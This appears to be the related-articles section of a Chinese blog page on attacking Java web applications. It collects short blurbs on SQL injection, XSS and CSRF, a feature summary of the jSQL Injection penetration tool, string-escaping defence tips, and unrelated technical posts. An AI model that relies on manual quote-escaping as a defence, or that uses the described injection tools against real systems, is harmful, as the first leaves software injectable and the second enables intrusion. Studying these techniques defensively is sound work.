gitub 实验环境 前端:jsp+xml 后端:Javabean(jdk 1.8)+Sqlite3.15.1+Tomcatv9.0 IDE: ecpliseEE2020-3 配置及运行 配置jdk:项目的jdk的绝对路径. 配置Tomcatv9.0:下载Tomcatv9.0修改Tomcatv9.0绝对路径.配置Tomcatv9.0两个端口号. 配置数据库:在loginsqlEx/src/db/DBUtil.java文件中修改URL变量的login.db的绝对路径. 然后使用ecpliseEE使得项目运

chenxiacheng的博客 773

Jsp挖掘(2)-sql注入及防护

sql注入及防护一、常见获取变量request.getParameter() request.getCookies()防护1:如何防止sql注入 数字型: Integer.parseInt(s)字符型: String.replace("'","''"); //oracle、 mssql String.replace("'","\\'");//mysql 防护2:正则表达式过滤防护3:使用参数化查询执行sql语句(预编译的方式)使用参数化查询执行sql语句(预编译的方式)&nb

thelostworld 1527

JavaWeb应用安全攻防实战指南

SQL注入,是一种注入攻击技术,攻击者通过向Web应用的输入字段插入恶意SQL代码,从而操纵或篡改后台数据库。SQL注入通常发生在Web应用未对用户输入进行适当过滤或转义的情况下。一旦SQL代码被应用程序执行,攻击者可以绕过认证、窃取敏感数据、修改数据库数据、甚至有可能完全控制服务器。跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的网络攻击技术,它允许攻击者将恶意脚本注入到其他用户浏览的网页中。

weixin_42430341的博客 758

JAVA安全之SQL注入

JAVA安全之SQL注入

天天学安全专属博客 561

jsql-injection

多平台渗透测试工具,需要Java环境支持,跟sqlmap功能类似,但是有图形界面

jsql-injection:jSQL Injection是用于自动SQL数据库注入的Java应用程序

描述 jSQL Injection是一个轻量级应用程序,用于从远程服务器查找数据库信息。 它是免费的,开源的和跨平台的,适用于Windows,Linux和Mac OS X(带有Java,版本8至15)。 jSQL Injection也是官方渗透测试发行版一部分,并包含在其他各种发行版中,例如 , , 和 。 产品特点 自动注入33种数据库:Access,Altibase,C-treeACE,CockroachDB,CUBRID,DB2,Derby,Exasol,Firebird,FrontBase,H2,Hana,HSQLDB,Informix,Ingres,InterSystems-IRIS,MaxDB,Mckoi,MemSQL, MimerSQL,MonetDB,MySQL,Neo4j,Netezza,NuoDB,Oracle,PostgreSQL,Presto,SQLite,SQL Server,Sybase,Teradata和Vertica 多种注入策略:正常,错误,堆叠,盲注和时间 各种注入过程:默认,Zip,Dios 用于SQL和篡改脚本的沙箱 列出以注入

SQL防注入

SQL 防止SQL注入的五种方法 一、SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。 二、SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 三、SQL注入攻击实例 比如在一个登录界面...

weixin_44693449的博客 602

Qt Design Studio 入门指南:从零开始打造炫酷UI(详细+实用+轻松上手)

本文是Qt Design Studio的详细入门指南,旨在帮助UI设计新手从零开始轻松打造炫酷界面。文章系统介绍了软件的核心概念、安装步骤、主界面解析,并通过创建一个完整的登录界面实例,手把手教学如何拖拽组件、设置属性、添加交互状态与动画。同时,分享了创建自定义组件、管理资源以及提升效率的实用技巧与常见问题解决方案,让读者能够快速上手并应用于实际项目开发。

devops8pract的博客 589

攻击JavaWeb应用[4]-SQL注入[2]

注:这一节主要是介绍Oracle和SQL注入工具相关,本应该是和前面的Mysql一起但是由于章节过长了没法看,所以就分开了。 0x00 Oracle Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。 Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。这一次我们依旧使用上面的

xiaoshan812613234的专栏 1410

PaddleOCR实战:如何在CentOS 8.5上搭建高性能OCR识别环境

本文详细介绍了在CentOS 8.5系统上搭建高性能PaddleOCR识别环境的完整指南。从系统环境准备、PaddlePaddle框架部署到PaddleOCR的定制化安装与性能优化,提供了针对生产环境的解决方案,包括GPU/CPU环境配置、内核参数调优及常见问题排查,帮助用户实现高效OCR识别。

weixin_29223603的博客 349

RK3588 EVB开发板原理图讲解【六】

该原理图展示了eMMC Flash与主控芯片之间的连接关系,以及相关的电源、信号线路和去耦电容等。

weixin_48721556的博客 1175

转:攻击JavaWeb应用[4]-SQL注入[2]

转:http://static.hx99.net/static/drops/tips-288.html 攻击JavaWeb应用[4]-SQL注入[2] 园长·2013/07/18 17:23 注:这一节主要是介绍Oracle和SQL注入工具相关,本应该是和前面的Mysql一起但是由于章节过长了没法看,所以就分开了。 0x00 Oracle Oracle Da...

weixin_30300225的博客 184

C#.NET斗地主服务端核心架构与高性能实现

斗地主作为典型的实时对战棋牌逻辑,本质是状态驱动的分布式协同问题。其技术内核涵盖有限状态机建模、低延迟网络同步、无GC内存操作与轻量级AI决策等关键能力。在.NET平台下,借助Span<T>、ImmutableArray、命令/事件总线与内存池等特性,可构建出高吞吐(200+ QPS)、低延迟(<150ms)、强一致的可落地服务端。本文聚焦C#.NET生态中斗地主核心模块的设计取舍与压测验证,深入解析状态机驱动、CardSet结构体优化、Kestrel中间件锁、规则+概率混合AI等实战方案,为实时对战类业务

weixin_29726381的博客 345

详解XSS攻击、SQL注入攻击、CSRF攻击

1、xss攻击 1.1 什么是xss攻击 XSS全称cross-site scripting(跨站点脚本),是当前 web 应用中最危险和最普遍的漏洞之一。攻击者向网页中注入恶意脚本,当用户浏览网页时,脚本就会执行,进而影响用户,比如关不完的网站、盗取用户的 cookie 信息从而伪装成用户去操作,携带木马等等。 1.2 xss分类 反射型XSS(非持久性跨站攻击) 存储型XSS(持久性跨站攻击) DOM Based XSS(基于 dom 的跨站点脚本攻击) 1.2.1 反射型XSS(非持久性跨

hello 2079

Matlab图像处理频域滤波实现——高斯低通、高通、带通带阻滤波器

如果你想要进一步了解更多的相关知识,

小嘤熊的博客 1万+

【推荐100个unity插件之27】推荐5种办法实现unity人物布料系统 衣服裙子飘动 头发飘动 胸部抖动 骨骼模拟 配件摆动 尾巴摆动 —— 主要是Magica Cloth 2插件

要实现Unity中的人物布料系统并使其具备动态效果,可以探索多种技术方法。这些方法不仅可以使衣服、裙子、头发等元素自然飘动,还可以实现胸部抖动、骨骼模拟、配件摆动和尾巴摆动等细致效果。本文将深入探讨五种实现这些动态效果的技术方案,从基础的物理模拟到高级的动画控制,帮助你打造逼真的人物表现。本文主要探究Magica Cloth 2的使用,因为我想探究最好的实现方法,而不是探究最多的实现方法。

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 6305

攻击JavaWeb应用[3]-SQL注入[1]

注:本节重点在于让大家熟悉各种SQL注入在JAVA当中的表现,本想带点ORM框架实例,但是与其几乎无意,最近在学习MongoDb,挺有意思的,后面有机会给大家补充相关。 0x00 JDBC和ORM JDBC: JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问。

xiaoshan812613234的专栏 1914

AUTOSAR从入门到精通-中间件通信DDS(一)

汽车开放系统架构(automotive open system architecture,autosar)是由全球各大汽车oem、零部件供应商、汽车电子软件公司联合建立的一套标准协议。该协议规范了一个符合汽车电子软件开发的、开放的以及标准化的软件架构。最初的autosar规范的制定只考虑传统汽车电子电器架构,基于硬件算力有限场景,提供确定的功能。

getusushu的博客 1869

java web sql注入_转:攻击JavaWeb应用[3]-SQL注入

转:http://static.hx99.net/static/drops/tips-236.html攻击JavaWeb应用[3]-SQL注入园长·2013/07/16 18:28注:本节重点在于让大家熟悉各种SQL注入在JAVA当中的表现,本想带点ORM框架实例,但是与其几乎无意,最近在学习MongoDb,挺有意思的,后面有机会给大家补充相关。0x00 JDBC和ORMJDBC:JDBC(J...

weixin_34638282的博客 589

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Java Web 防范 SQL 注入攻击

随着 Ineternet 技术的迅猛发展,为了能更充分地使用互联网这个世界上最大的交流平台 ,许多单位或个人纷纷建立自己的网站。 但是网络为企业提供了新的机遇,但是同时它也给安全、 性能等领域带来了新的风险。 而 SQL 注入就是众 多风险中较为常见的一种。

JerryBurning的专栏 3810

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

Java Web 应用中的 SQL 注入与 XSS 攻击防御方法研究

随着 Java 在企业级开发、Web 应用和分布式系统中的广泛应用,安全问题逐渐成为开发者不可忽视的挑战。常见的安全漏洞往往源于不安全的编码习惯、对输入数据的处理不当以及对敏感信息保护不足。本文将系统分析 Java 编程中的常见安全问题,并结合代码实例,提出切实可行的解决方案。

一键难忘的博客 868

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

【JavaWeb知识】Web常见的攻击技术

互联网上的攻击大都将Web站点作为目标。本章讲解具体有哪些攻击Web站点的手段,以及攻击会造成怎样的影响。 针对Web的攻击技术 简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把Web 应用作为攻击目标。本...

No8g攻城狮的博客 1356

攻击JavaWeb应用——3、sql注入(上)

0x01 经典的JDBC的Sql注入Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性。因为时间紧,任务重完成业务需求就行了,谁还有时间去管你什么SQL注入什么?还不如喝喝茶,看看妹子。正是有了这种懒惰的程序员SQL注入一直没有消失,而这当中不乏一些大型厂商。有的人可能心中有防御Sql注入意识,但是在面对复杂业务的...

Fly_鹏程万里 974
上一篇: 攻击JavaWeb应用——3、sql注入(上)
下一篇: 攻击JavaWeb应用————1、JavaEE基础
FLy_鹏程万里
FLy_鹏程万里 优质创作者: 后端开发技术领域 优质创作者: 后端开发技术领域 领域专家: 操作系统技术领域 领域专家: 操作系统技术领域
博客等级 码龄9年 1万+粉丝 1364原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值